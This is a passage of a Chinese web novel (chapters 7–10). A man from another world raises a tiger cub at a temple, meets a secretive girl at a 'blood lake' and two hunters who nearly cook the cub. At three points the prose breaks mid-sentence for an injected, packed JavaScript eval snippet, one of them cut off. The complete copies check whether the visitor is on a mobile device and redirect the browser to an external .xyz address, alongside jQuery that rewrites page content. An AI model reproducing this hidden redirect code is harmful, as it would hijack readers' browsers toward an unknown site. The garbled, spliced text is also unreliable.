老者半晌没听到回话,转头“看”了纳卡诺一眼,故意道:“看得出赫狄弥斯真的很喜欢他。” 纳卡诺果然马上开口反驳:“赫狄弥斯的意识仍在沉眠,那只是他的灵魂……” 说到一半,纳卡诺倏然收声,他意识到了什么,陷入沉默。 老者转回身背对纳卡诺,微微勾了勾唇角,将纳卡诺所想直白挑明:“发自灵魂本能的喜欢,难道不是更难得?” 片刻静默后,老者又问道:“你莫非早知赫狄弥斯会在这时归来?不然怎么想到让他直接住进赫狄弥斯的房间?” “他想看那片湖而已。”老者质问般的语气让纳卡诺听着很不舒服,但他还是回答道,“如果我早知道,我不可能会放任赫狄弥斯以这样的模样出现在世人面前。” “你现在也并未打算阻止。”老者肯定地说。 纳卡诺正色:“我无权干涉圣神的抉择,这是他的意志。” 老者嘴角的讥笑终于压抑不住:“可你准备要去实现的那道预言,似乎圣神并不知情。” 纳卡诺没被老者的故意挑刺激怒,冷声回应:“三百年前的那道预言酿成了怎样的恶果你不是不知道,神殿不能再重蹈覆辙。” 他的眸色愈发晦暗,“我必须要在这预言被弄得人尽皆知之前,亲自确认它是否真有其事。” 老者明显不信,却还是顺着纳卡诺的话说了下去:“若你在意的真的只是这个,那你大可放心,这次预言的真实性无需质疑。” “毕竟,”老者再次望向楼下正和虎崽一同疯玩的宋云州,意有所指道,“异世之人,不是已经出现在你面前了吗?” 7. 雏菊花瓣 入夜时分突然下起了暴雨,彼时宋云州正陪布瑞德出来方便。 布瑞德撒腿跑进草丛,宋云州站在圆石空地上耐心等待,没追过去。 一阵阵夹杂湿气的风卷过,势头愈发强劲,使整片山林向一侧倾倒,哗啦啦的响动自四方环绕而起,震撼人心。 宋云州的发丝被狂风吹乱,他抬头看天空中逐渐聚拢的乌云,一滴冰冷的雨珠落在他的眼睫。 宋云州朝布瑞德消失的草丛喊了一声:“布瑞德快一点儿,马上就要下雨了。” 豆大的雨点间歇落上圆石空地,晕开一点点深色水渍。 雨滴越来越密,宋云州手搭凉棚挡住额头,努力搜索那道黄黑色的身影,不免有些心焦,抬脚正要往草丛里走两步。 布瑞德就在这时跃了出来,一眼捕捉到宋云州的位置,欢快跑来。 这回宋云州没有站在原地等它,而是快步迎上来,用脱下的衬衣把布瑞德整个罩住。 布瑞德不适应地扭了扭,想要把脑袋露出来,却被一股外力按下。 宋云州抱起布瑞德,按住被它掀开的衬衣一角,微弓着背,迅速冲向神殿石阶。 如同渐次加快的鼓声,雨滴落下的频率加快,地上的湿点很快连成满片。 宋云州刚登上最后的阶梯,躲进神殿外侧的长廊中,雨势就陡然增大,连缀成宏大雨幕,犹如瀑布飞流直下。 宋云州喘了口气,松开衬衣,布瑞德立刻钻了出来。 不知它是不是没见过这么大的雨,满眼新奇地盯着雨幕看,动动耳朵倾听雨水猛烈砸地的震响。 片刻后,布瑞德转回头,清透亮晶的眼睛看了看宋云州。 宋云州此时的模样略微狼狈,雨水顺着他的发梢滑落脸侧,光裸的手臂肩膀上满是水痕,一道暗色的伤疤横亘在他的右臂上方。 他垂下眼,温柔的目光落在布瑞德身上,它的毛毛依旧蓬松干爽,只沾了一点点水汽,用干净毛巾擦擦就行。 宋云州咧嘴一笑,真幸运啊,没让它被淋湿。 宋云州洗完澡,帮布瑞德清理好耳朵和脚爪,熄了蜡烛抱着它站在窗边看雨。 窗户开了一道小缝,雨声、水汽、以及弥漫在空气中的潮湿泥土气息纷纷从缝中挤进来。 布瑞德坐在宋云州怀里,一只前爪搭在他肩上,另一只放松弯折在自己身前,好奇心过剩地探过大半身子凑近窗缝,呼吸雨天的味道。 宋云州怕布瑞德失去重心栽倒在窗户上,腾出一手抚在它身侧,护着的同时揉揉摸摸。 宋云州望着远方天空明明灭灭的雷电划过,突然开口说了一句:“我来到这个世界的那天,也是这样的暴雨之夜。” 布瑞德听到身后人说话,旋即回头,扬着鼻子嗅了嗅宋云州的味道。 宋云州揉揉它的头,在这样喧嚣又寂静的深夜,他很想找人倾诉一下。 布瑞德虽然听不懂也理解不了他在说什么,但它可以给出足够的耐心与陪伴,可以算是一个完美的听众。 宋云州声音很轻,像在讲睡前故事一样缓缓地说:“我不知道为什么会到这里来,很可能是原本世界的我不幸猝死了吧。那时候坐在完全陌生的大街上,看着完全陌生的人群,我很遗憾失去了那些我好不容易奋斗得到的事物。 “可遗憾又有什么用呢?活着就总要学会接受那些不愿意发生的事情发生。我以前经历过很多不好的事情,按理来说早该习以为常了,但每次厄运降临的时候,还是会觉得很难过。” 话题的走向有些悲伤,宋云州及时扬扬唇角,说起开心的部分:“我本来想去面包店当学徒,意外遇到小菠,跟着它来了神殿。现在看来,幸好我来了,才能在果园里遇见来吃苹果的你。” 说着,宋云州低头用脸颊蹭了蹭布瑞德的脑袋。 布瑞德没再看窗外,它感觉得到宋云州是在和它说话,所以像听故事的小朋友一样,静静靠在宋云州的胸口上,大眼睛在黑暗中认真地盯着他看。 “我只能在神殿待六个月,之后大概就要去城镇里谋生活了,到时候你应该长大不少了吧?你会和我一起离开吗?还是要回到森林里去?” 宋云州握了握布瑞德的一只前爪,指腹揉按上又软又韧的爪垫。 他期待见到布瑞德长大后的模样,它一定会是一只漂亮又威武的大老虎,说不定心情好的时候还会和现在一样跟他撒娇。 但这个问题的答案是那样显而易见,布瑞德终究要回到森林,那里才是属于它的世界。 一旦宋云州进入人口密集的城镇,他就不可能把越来越大的布瑞德带在身边养了。 离别,已然成为了定局。 “不过在这六个月里,你还是我的布瑞德,我每天都可以和你待在一起,陪你玩,保护你。” 或许是曾经的痛苦磨砺出宋云州坚韧的神经,或许是他本身的性格使然,他总能快速收敛起消极的情绪,从好的方面看待问题。 宋云州摇了摇布瑞德的前爪,逗趣地说:“你已经听我说这么半天了,该你来说说了。你是怎么找到果园的?嗯?” 得到发言权的布瑞德眨巴了一下眼睛。 就在这时,一束强光闪现,整个夜空都被照耀得明亮一瞬。 下一刻,惊起的暴雷撕裂单调的雨声,在宋云州和布瑞德的耳边炸开,似是要将整个神殿劈作两半。 连宋云州都被吓了一跳,更别说布瑞德。 它当场被吓出了飞机耳,整个身子后缩,仰倒在宋云州怀里,侧脸紧贴住他的脖颈,只露出一只眼睛,惊疑不定地盯着外面。 等了一小会儿,没再出现新的电闪雷鸣,布瑞德这才找回了自己的声音,后怕地往宋云州怀里又钻了钻,哼哼唧唧地向他告状求安慰—— 这轰隆隆的一听就不是什么好东西!超可恶! 宋云州笑着把布瑞德从头胡撸到尾,嘴上说着:“胡撸胡撸毛儿吓不着,布瑞德不怕。” 他关上窗,拉好窗帘,带布瑞德上床睡觉,依旧是和昨晚一样坐着睡。 裹好被子,宋云州把布瑞德搂得紧了些。 “晚安。” 虽然仍旧没有任何回应,但这两个字有了落点,终于不再是自言自语。 窗外风雨大作,狂风摧袭万物,神殿周边生长的花丛抵抗不住风势,一瓣雏菊花瓣被吹落。 纤细脆弱的白色花瓣被风裹挟扬起,穿越雨幕,飘飞到神殿三楼唯一拉上窗帘的那扇窗前,诡异地停驻在半空,任凭风吹雨打都未动摇分毫。 雏菊花瓣隐于黑暗,直到一道闪电在它背后亮起,将状似一只眼睛的阴影投在淡色的窗帘上。 闪电消逝,惊雷再起,花瓣遁入夜色,无迹可寻。 神殿旁,一朵又一朵雏菊舒展开完好无缺的花瓣,迎接暴雨的冲刷。 暴雨足足持续了一整夜,天将明时才停下。 宋云州在生物钟的作用下睁开眼睛,最先映入眼帘的就是敞着肚皮的黄黑色毛球。 宋云州想都没想,伸手搂过还在呼呼大睡的布瑞德,结结实实在它耳边亲了一口,成功叫醒了它。 布瑞德迷迷糊糊看了宋云州一眼,又主动往他身边扭了扭,张嘴打了个哈欠。 宋云州清醒了一下,这时才发现他竟然躺在床上,可能是坐着睡的时候不小心侧倒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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布瑞德胸口的毛大部分都是纯白色,只在脖颈处出现明显的一左一右两道黑纹,犹如穿了件质地考究的黑领口白衬衫。 宋云州看得心痒,于是从它胸口往下捋至腹部,布瑞德舒爽得摇头摆尾,前肢和后腿分别向前后尽力伸展,伸了个大大的懒腰。 摸了半天,宋云州犹觉不过瘾,干脆将脸轻轻埋进布瑞德肚皮的软毛里,大口吸了起来。 过了半晌,吸猫的和被吸的才都神清气爽地真正起床。 吃完早饭,宋云州和布瑞德改换游玩阵地,绕到神殿前方向湖边走去。 湖泊看似不远,实则走起来还是离神殿有一段距离。 神殿所处地势较为平缓,但和湖泊之间隔了一道十数米高的断崖。 沿神殿正前方的大道直行,是一片十分开阔的长方形空地,同样使用纯白石料铺地。 空地尽头正与断崖相接,边缘处却没有修建任何防护栏杆。 宋云州怕布瑞德乱跑出危险,抱着它经过这里,拐入空地一侧向下的台阶。 想抵达湖泊,要从这里走山路下去。 山路蜿蜒曲折,甚至还绕道至旁边的另一座山才通向湖畔,但因全部修成了石板路和台阶,走起来并不费力。 大约半个小时后,宋云州和布瑞德终于绕出林间小路,壮美的蓝色湖泊波纹轻荡,在他们眼前完整铺展开来。 恰有一缕湖风拂面,宋云州感受着凉爽,获得奖励般深吸了一口,却不由愣怔。 他疑惑地快步走到湖边,伸手掬了一捧水,凑在鼻端仔细闻了闻,果然和刚才在风中闻到的一样。 ——是一股属于海水的腥咸味道。 宋云州惊奇自语:“这居然是一个咸水湖?” “血湖之水来自于海,自然是咸的。”清泠泠的女声自宋云州背后蓦然响起。 宋云州一惊,立刻松了手回身看去,只见一位身穿淡黄色连衣裙的少女不知何时站到了他身后。 伴随少女的说话声,一阵浅淡的花草清香钻入宋云州的鼻腔。 8. 湖畔少女 布瑞德第一次近距离看到这么大片的水面,撒着欢跟在宋云州身边,歪着脑袋左看右看,新鲜不已。 它见宋云州抓起水来闻,便仿照他的样子屈起前肢低头,把鼻尖慢慢凑近湖面,全神贯注地嗅闻。 可就在这时,猛然有陌生的声音在近处响起,布瑞德毫无防备地被吓了一大跳。 这一“跳”是货真价实的一“跳”,布瑞德四肢张开,尾巴伸直,原地弹起老高,眼看就要栽进湖里—— “小心!” 幸好宋云州眼疾手快,一把捞住了它。 宋云州后背直冒冷汗,抱着惊魂未定的布瑞德轻声安慰半天,才舒出一口气,把悬着的心放定。 他这才分出精力看向突然出现的少女。 宋云州一路上和布瑞德边走边玩,走走停停,回望过好几次,都没有发现有人跟在他们身后。 从神殿通往湖畔的路只有这一条,少女也并非一开始就待在这里,能如此神不知鬼不觉地现身,唯一的解释就是她和纳卡诺一样会用魔法。 少女十五六岁的年纪,面容清纯稚嫩,留着褐色齐脖短发,长裙过膝,脚上是一双白色皮鞋。 她开口说完那句话,就一直站在原地静静看着宋云州和布瑞德的反应,清冷神情中没有半分吓到别人的歉意。 好在没造成什么实质性的伤害,宋云州没想计较。 她是宋云州在神殿范围内,见到的除纳卡诺之外的第二个活人,宋云州本能地释放友好信号,话音平和地和她打招呼:“你也是神殿里的人吗?我是这两天新来的,我叫宋云州,这是布瑞德,请问你要怎么称呼?” “布瑞德……”少女没有回答宋云州的问题,而是若有所思地看向他怀里的虎崽,“从未听说这附近有老虎,你是从哪里找到它的?” 少女目不转睛地盯着布瑞德看,认真得仿佛要看清它的每一根毛毛,看来毛茸茸的杀伤力不容小觑。 宋云州爱怜地摸摸布瑞德的脑袋:“它误闯进果园,我就把它养起来了。” 少女抬眸看了眼宋云州,牵动嘴角露出一个浅浅的笑容:“好可爱的小老虎,我可以摸摸它吗?” 她似乎不太擅长笑,只是模仿着做了个嘴角上扬的动作,半分笑意也无,笑容显得有些勉强与不自然。 “当然可以。”宋云州回以明朗笑容,爽快答应。 少女的夸奖正夸到了宋云州的心坎上,一种自家宝贝被很有眼光的人赏识了的自豪油然而生,他自觉与有荣焉。 宋云州抚了抚布瑞德的后背,抱着它靠近少女:“布瑞德乖,有位朋友想摸摸你,不可以乱动哦。” 宋云州看布瑞德没有表现出反感,便用眼神示意少女可以伸手过来。 少女却说:“可以让它抬起头吗?” “啊?”宋云州一愣,看向怀里,布瑞德整张脸都埋进他的臂弯,只有毛乎乎的后脑勺和耳朵露在外面。 他动了动胳膊,成功让布瑞德抬起头,一双琥珀眼疑惑地望了过来。 少女抿抿唇,抬手按在布瑞德头顶不动,俯身将脸颊凑近,凝视它的双眼。 宋云州看着少女怪异的举动,暗自奇怪她这是在干什么,也没见她摸啊。 然而在宋云州看不到的角度,隐约有数道细小金纹在布瑞德的双眼中浮现,金纹交织勾勒显现出小小的法阵。 就在少女迫切地想要看清楚阵纹图案时,布瑞德忽然脑袋一抖,打了个响亮的喷嚏。 少女如方才水边的布瑞德一样毫无防备,被它这一动惊得立刻撤手后退,低叫出声。 “你不要紧吧?”宋云州连忙看向少女放在布瑞德头上的那只手,还以为她不小心被布瑞德的牙齿磕到了。 确认少女无碍,宋云州马上转移关注对象:“这是怎么了?着凉了吗?” 他用手心把布瑞德囫囵摸过一遍,没觉出哪处沾水变得潮湿。 布瑞德舔舔鼻子,仰头用湿漉漉的鼻尖顶了顶宋云州摸它头的手。 布瑞德眼中的异象在少女撤手时就已完全消失。 少女略略咬牙平定心绪,随口解释说:“也许是我身上沾了花香,它一时闻不惯才会这样。” 宋云州表示理解,他也闻到了她身上的香气,只是神殿附近的花虽然多,但长得分散,还不足以在过路人的衣上留香。 因此他多问了一句:“你在哪里沾到的花香?” 少女神色不变,指向宋云州来湖畔时绕道的那座山:“那座山背后的山谷中有一片花海。” 说罢,少女话锋一转,不知真假地告诫道:“此处怨气深重,是不祥之地,还是不要久留为好。” 宋云州想起少女在他身后说起的第一句话,不确定道:“你刚才说这湖叫什么来着?” “血湖。”似是担心宋云州不知道是哪个字,少女主动补充道,“无数鲜血汇聚而成的湖泊。” “怎么给它起了个这样的名字?”宋云州回身望向青山环抱的湛蓝湖水,所见只有平和,这个充满戾气的名字和这里美景一点儿都不搭调。 少女走上前,和宋云州并肩而立,望着湖面,款款讲述了一段血腥往事—— “杀戮圣神屠戮三城,上万人的尸骸坠入海中,鲜血染红海水,竟浓稠得无法化开。杀戮圣神为掩盖罪证,便将那片血染的海水带回神殿,置于此人迹罕至之处。经由法阵几十年地不断净化,湖面上的血色才逐渐淡去,成了现在这样。 “但湖底的水猩红依旧,每至满月之夜,湖面变黑,就可看见湖底凝聚起尚在流淌的鲜血深渊,枉死之人的尸骨尽数沉眠于此,被神力永世镇压。 “所以湖中的水闻起来比海水更腥,那是鲜血的味道。” 少女向湖面伸出右臂,立起掌心,淡黄的魔法闪过,整个血湖湖面陡然变作纯粹的猩红,给予宋云州强烈的视觉冲击:“这就是它原来的样子。” 宋云州强忍下作呕的欲望,当即把布瑞德支棱的毛脑袋重新按回他的臂弯。 蓝天之下,青山之间,无边血浪层叠翻涌,带来浓郁的血腥气,令人不由联想到水面下堆叠起的尸山骨堆,周遭的一切都变得诡异起来。 尤其是在它不远处的那座纯白神殿,正是因为过于洁净无瑕,才显得虚伪突兀。 少女仿佛已经看过千百次这样的景象,面不改色地冷声嘲弄:“这也能算作是一处神迹呢。” 宋云州让少女撤掉血腥幻象,背过身深吸几口血味淡去不少的湖风,望着巍峨青山缓了缓。 他迟疑道:“你说的杀戮圣神,不会就是现在正在沉眠的……” 少女淡淡道:“她已经陨落了。” 宋云州微微颔首。 少女提供的情报的确耸人听闻,不过宋云州早过了听风就是雨的年纪。 他侧头看向少女,直接道:“你不是神殿里的人吧。” 少女蹙眉:“为什么突然这么说?” 宋云州捋了捋卧成一块虎饼的布瑞德:“一直待在神殿的人,多半都是因信奉神明才会驻留于此。这样的人就算是看不惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142436|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某一位神明的行事,也绝不会主动将这种惨绝人寰的过往详细说出来,因为这会损害整个神殿的威望与形象,还会让其他没做错事的神明无辜受到牵累。” 宋云州直击问题关键,掷地有声:“你憎恨神殿。” 少女沉静的目光终于出现波澜,既惊且疑地看向宋云州。 她没想到面前这个青年在看到这样的景象后仍能保持冷静,甚至如此敏锐,三言两语就揭露了她的真心。 但这份恨意,本就没什么好隐瞒的。 她反问宋云州:“那你呢?你待在这里,是信奉并决意追随神明了吗?” “我没见过神明,而且过段时间就会离开神殿。”宋云州模棱两可地答了句,他不明白,“你为什么要特意来告诉我这些?” 少女意味深长地看了他一眼:“已经许久没有外人到神殿来了,你的到来难免让人联想到某些阴谋。我只是突发善心提醒你小心,别被这片看似纯白的黑暗吞噬,最后连骨头都不剩。” 宋云州认真听完,神色不变,丝毫没被少女的言辞吓到,竟还礼貌地笑了笑:“我会注意的,谢谢你的提醒。” 少女试图从宋云州的表情中看出什么来,却没有发现一丝破绽,一般人听到这些内容,至少也该震惊或恐慌,而宋云州却连最基本的惊讶都没有。 她现在完全拿不准宋云州的态度,还想再说什么,没来得及出声。 她移开视线望了一眼远处,最后留下一句:“我会再来见你。”就在一片淡黄光芒中消失不见。 宋云州站在原地静待光芒完全消失,一改刚才的胸有成竹,面露焦灼地挖出怀里无聊到打瞌睡的布瑞德,一寸一寸细细查看它身上各处,同时询问:“布瑞德,你有没有觉得哪里不舒服?” 少女把手按在布瑞德头上不动时,宋云州就觉得有些不妥,当看到她凑近布瑞德眼睛细看,宋云州忽然福至心灵地反应过来她不会是在对布瑞德使用魔法吧。 宋云州正想把布瑞德从少女手里拉回来,它就恰好打了个喷嚏,把她吓开了。 检查了一遍,布瑞德身上没有伤口或是一摸就痛的地方,宋云州稍稍放心。 布瑞德咧着嘴,舌头吐在一侧,满脸傻相地愉快享受全身摸摸,在宋云州停下后还用爪子扒拉他的手指,想要再来几下。 少女提出摸布瑞德的时候,宋云州是真的没多想,现在后悔得不行。 他托住布瑞德腋窝,和它顶了顶额头,蔫蔫认错:“对不起,下回不让会魔法的人随便摸你了。” 少女来历不明,莫名其妙地出现,矛头直指神殿,宋云州猜她可能是想利用他从内部打探神殿的信息,或是帮她敌对神殿。 但她连哪怕是个假名字都不愿编来告诉他,宋云州怎么可能向她交付信任。 少女所说关于血湖之事的真假有待考证,兴许那血腥场面只是她用魔法构造出来骗他的,并非曾经真正出现过的情景。 毕竟他在原本世界中见识过,为了抹黑对手什么离谱消息都编得出来的新闻。 就算那些是真的,他一个普通人,没能力也没必要卷入这场诸神之战。 他唯二要做的就是在有限的时间内,看好果园,养好布瑞德,至于其他的,等到真正发生时再去解决好了,没必要杞人忧天。 少女一通搅和,宋云州也没了在湖边散步游玩的心情,招呼布瑞德原路返回。 他们刚回到神殿前方的空地,就听阵阵马蹄和车轮行驶声自远处传来,正是少女离开前眺望的方向。 9. 储备粮食 树木葱郁,山道曲折,一时只有声音传至分外静谧的神殿,看不见来的究竟是什么人。 宋云州略一思索,抱起扒在草丛里找蝴蝶的布瑞德,快步绕到侧门进入神殿。 他把布瑞德送回房间,动作迅速地给它放好水和苹果,指尖挠了挠它的脑袋:“乖乖在家等我,我很快就回来。” 说完宋云州就要开门出去。 他刚打开门,忽而脚步一顿,又折身走到窗边,推开窗探头望向通往神殿的那条山路。 来人已经显露了身形,是骑着马同行的一男一女,另有两辆各由四匹马拉动的木板车跟在他们身后。 青年骑装长靴,腰间佩剑,女子身穿无袖红裙,手臂上的装饰品在阳光照耀下反射出星星亮光,两人身上都背着弓和箭囊。 木板车的车斗紧实地罩着黄色油布,底下的东西把油布撑得鼓鼓囊囊的,单看拉车的马匹数量,就知道这些东西不会太轻。 马蹄哒哒,他们慢悠悠地行进,熟门熟路地径直拐向神殿后方。 宋云州隐约猜到他们的身份,又叮嘱了布瑞德一句,独自跑下楼去。 宋云州推开神殿侧门,正好与刚到圆石空地的两人打了个照面。 正在给拉车的马解缰绳的青年闻声回头,看到宋云州陌生的面孔愣了一下,问道:“你是?” 一边用匕首割开绑车绳索的女人也停下手中动作,看向这处。 宋云州友善笑笑,不卑不亢地上前和他们交换了姓名。 青年名叫霍尔加,约莫二十岁,棕发蓝眼,高大英气,远远看去他给人的感觉像是一柄未出鞘的剑,危险难近,但实际接触起来却发现他并不冷硬,反而性情开朗,言谈笑容十分具有亲和力。 另一位比宋云州稍长几岁的姐姐是兰缇娅,微卷的黑色长发用一把带鞘的小刀盘在脑后,几缕碎发垂落耳侧,美艳干练,充满野性的生机和力量感。 宋云州看清了她左上臂处佩戴的银质臂环,做成镂空的图腾样式,其上镶嵌数枚颜色浓郁的大颗火红宝石,火彩流溢,巧夺天工。 这两人正是负责神殿日常伙食,也就是纳卡诺所说去打猎的人。 听完宋云州的自我介绍,兰缇娅面露疑惑地重复了一句:“你是菠萝找来看果园的?” 宋云州坦然点头,问道:“怎么了?” 兰缇娅眨了下碧色美目,想到什么却没说,冲宋云州笑笑:“来帮帮我们。” 宋云州面上没在意兰缇娅转移话题,爽快答应:“需要我做什么?” 霍尔加笑着接话:“等会儿跟我一起抬下车架。” 他解开拉车的马匹,马儿一脱缰,便纷纷自行往圆石空地后侧的山道上跑。 宋云州问:“它们跑去哪儿?” 霍尔加:“到后山吃草去。” 兰缇娅割断所有绑索,掀开车斗里的黄色油布,浓烈的血腥味和野生动物身上的膻臭味顿时铺天盖地,直冲天灵盖。 宋云州有不久前看血湖的铺垫,除了第一口气有些憋闷,倒还能轻松接受。 他看向两人猎回来的东西,立时惊讶得无以复加。 车斗里卧着的竟是一只一人高的黑色野牛,肌肉虬结,犄角尖锐,要想猎杀这种正值壮年时期的大型动物绝不容易。 而这只野牛已经被放干了血,唯一的致命伤在它的颈部,三支箭从左右两个相对的方向穿喉而过,击杀得干脆又利落。 宋云州不由赞叹出声:“你们好厉害,居然能猎到这种大家伙。” 霍尔加马上推辞:“都要归功于箭头足够锋锐。” 等兰缇娅用绳子一端拴紧野牛后腿,宋云州走过去托住木板车前端延伸出的长木,和霍尔加一左一右,边向上抬的同时边后退拉动车轮。 兰缇娅站在车尾,将绳子另一端缠在自己腰上,拔河一般后坐用力,向外扯动野牛。 三人同时发力,野牛在巨大的闷响中砸上圆石空地。 宋云州活动了一下肩膀,和他们一起又卸了第二辆车,这次相对轻松一些,车上是两只半大的野猪、一头山羊和六只野鸡。 这一趟出去满载而归,战利品铺了满地,兰缇娅从挂在马鞍旁的布袋里抽出两把小臂长的剔骨刀,抛给霍尔加一把,准备现场分割肉块。 就在她要下第一刀的那刻,一道熟悉的声音响起,伴着压抑住崩溃的陌生语调—— “兰缇娅!你上次不是答应我把它们宰好再带回来吗?!” 宋云州难以置信地回头看,发现这话竟真是出自纳卡诺之口。 纳卡诺冲出黑雾,站到兰缇娅面前和她理论:“你带到湖边去宰也行,为什么总是偏要在这里?” 兰缇娅单膝跪在野牛旁边,仰头看向纳卡诺,理所当然地说:“反正神殿有净化法阵,不用白不用,明天一早不就都干净了。” 纳卡诺气结:“可这是神明祈愿赐福之处,无论何时都不该被血污浸染。” 兰缇娅佯装思考,故意提议道:“那你用魔法把它们搬到神殿里去,我进去宰?” 纳卡诺被噎了一下:“那更不行!” 宋云州在一边看得一愣一愣的,这两人与其说是在争吵,更像是在拌嘴逗趣。 面对兰缇娅的时候,在宋云州面前成熟稳重的纳卡诺情绪前所未有地外露,明显生动了许多。 霍尔加以为宋云州觉得兰缇娅是在跟纳卡诺争吵,哥俩儿好地杠了宋云州一肘子,一脸轻松地说:“他们总是见面就吵,但都是逗着玩,不用当真,习惯就好了。” 在另两人还在争论的时候,霍尔加已经悄悄对山羊动上刀了,边切还边小声跟宋云州讲哪块肉最嫩最好吃。 到最后,纳卡诺也没能把这一地的牛羊清走,而是眼看着它们被兰缇娅和霍尔加手法娴熟地剥皮剔骨,变成一块块整齐的大肉。 兰缇娅大功告成,才想起对仍立在原处的纳卡诺安抚地笑了笑,并物尽其用:“正好你还在,快帮我把它们运到冰库里。” 纳卡诺偏头看向别处,故意不理她。 兰缇娅就用占满油腥的手去抓他的衣袖。 纳卡诺及时避开,万分嫌弃:“把你的大油手拿走!” 禁不住兰缇娅的软磨硬泡,纳卡诺无奈挥手,一地的肉块旋即消失在黑雾中,他也就此离开。 宋云州怎么看都觉得纳卡诺是故意等到最后帮忙收尾的。 兰缇娅提着留下来的一块肉走入神殿,着手准备一会儿的午饭。 宋云州和霍尔加则分头捡拾落在圆石空地上的羽毛之类的边角料,拿去最近的山上挖坑埋掉。 神殿三楼,独自待在房间中的布瑞德正对着房门嗷嗷叫唤。 自打见到宋云州,它还没和他分开过这么长的时间,起初布瑞德还能安静等待,在房间里遛一遛,吃块苹果喝点水。 可越等越不见宋云州回来,布瑞德开始焦躁不安,苹果和水失去了吸引力,它转而去找房门的不痛快。 挠门加吼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142437|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫都无用后,布瑞德屈腿蓄力,猛地向高处窜起,尝试越过这道障碍跳出去。 跳肯定是跳不出去的,但它无意中压下了门把手,宋云州没有反锁门,因而门就这么打开了。 布瑞德看着出现在眼前的狭窄门缝歪了歪头,伸爪把门缝扒拉得更开,想都没想就钻了出去,一路跑到一楼去找宋云州。 由于跑得太急,布瑞德发现前方有陌生障碍后根本来不及停步,直直撞了上去。 兰缇娅走得好好的,突然被撞到了小腿,她低头揪起布瑞德的后颈皮,举到眼前打量:“奇怪,我怎么不记得还猎来一只这么小的虎崽?” 于是可怜的布瑞德就被兰缇娅拎到了后厨,任凭它怎么挥舞毛乎乎的四肢抗议都没用。 另一边,宋云州处理完边角料,正跟着霍尔加往餐厅走来。 宋云州一直没到过餐厅,以至于看到餐厅大门的时候不由一怔,这竟然就是那天早晨纳卡诺进的那扇双开拱形门。 原来纳卡诺是去给他和布瑞德做饭啊。 一想到老板坚持早起给临时工和临时工养的虎崽做一日三餐,宋云州莫名觉得有点儿喜感。 “你突然笑什么?”霍尔加不解。 宋云州轻咳一声,借口道:“我想起纳卡诺做的每一餐都很好吃,特别是牛排和饼干。” 霍尔加显然也吃过,当即赞同道:“的确,每次我都觉得他的饼干烤得太少,根本不够吃。” 布瑞德被兰缇娅放在料理台空闲的角落里,各种调料罐子包围住它,根本无从下脚,想卧着都不行,只能委委屈屈地靠墙倚着。 兰缇娅清洗着手和刀具,目光飘向布瑞德,自顾自思索:“这么小怎么吃啊?是不是也得先剥皮?” 布瑞德的琥珀眼望她一眼又赶紧移开,它觉得这个人并不友好。 不知所措间,布瑞德的圆耳朵忽然一抖,灵敏捕捉到远远传来了宋云州的脚步声和说话声。 它顿时振奋起来,“嗷嗷”呼唤宋云州,同时手忙脚乱地想要迎过去,碰倒了爪边的几罐调料。 兰缇娅赶忙过来按住布瑞德,洗好的剔骨刀没来得及放下,无意中蹭上它蓬松的毛毛:“你先老实待一会儿,我处理完它再来收拾你。” 餐厅外的宋云州隐约听到了布瑞德的声音,蓦地心里一紧,下意识向声源处靠近。 餐厅与后厨连通,宋云州一进门看到的就是“兰缇娅磨刀霍霍向布瑞德”这惊悚一幕,顿时发出了尖锐的爆鸣声:“不可以!!!” 他连反应的时间都没耽误,拔腿用最快的速度冲到料理台前,一把将布瑞德抢进怀里,紧紧抱住,向后退开兰缇娅八丈远。 兰缇娅完全没反应过来,手还悬空保持着按住布瑞德的姿势,疑惑地看向宋云州:“你一惊一乍地干什么?” “不可以吃它!”宋云州的手微微发颤,紧张得心脏都要跳出来了,他不敢想要是晚来一步会发生什么,“它是我养的虎崽!” “为什么要把猎物好吃好喝地养起来?”兰缇娅是真的不理解宋云州的行为,认真问道,“当储备粮吗?” “当然不是,它是陪伴我的宠物,是用来好好疼爱的。”宋云州试图向兰缇娅解释,于是让怀里的布瑞德面朝她,但还是没敢靠近她分毫,“你看它是不是很可爱?” 兰缇娅尝试用宋云州的想法看待布瑞德,盯着它毛茸茸的小脑袋看了半天,可爱确实可爱,但她还是觉得它更像一盘菜,遂摇了摇头表示理解不了。 10. 手作项圈 布瑞德用爪子紧紧扒住宋云州的手臂,后背和他的胸膛紧密相贴,虎皮膏药般黏在宋云州身上,生怕再落入兰缇娅手中。 兰缇娅见这只虎崽都不敢拿正眼看她,不由被它这怂样子逗得一笑。 “刚才是我不对,差点误伤了它。”兰缇娅看得出宋云州有多宝贝这只虎崽,豪爽道,“放心,知道是你养的,我保证不会再动它。” 像是怕宋云州还不放心,她又加了句:“就算没饭吃了也不会吃它。” 宋云州松了口气,对兰缇娅笑笑,护住布瑞德的手放松下来,抚了抚布瑞德的脊背。 “哇,你居然养了只老虎!”霍尔加满眼羡慕地凑到近前,仔细观察布瑞德的模样。 布瑞德刚好张嘴打了个哈欠,霍尔加看到了它的牙齿,啧啧赞叹:“现在牙齿就这么锋利,长大了可不得了。” 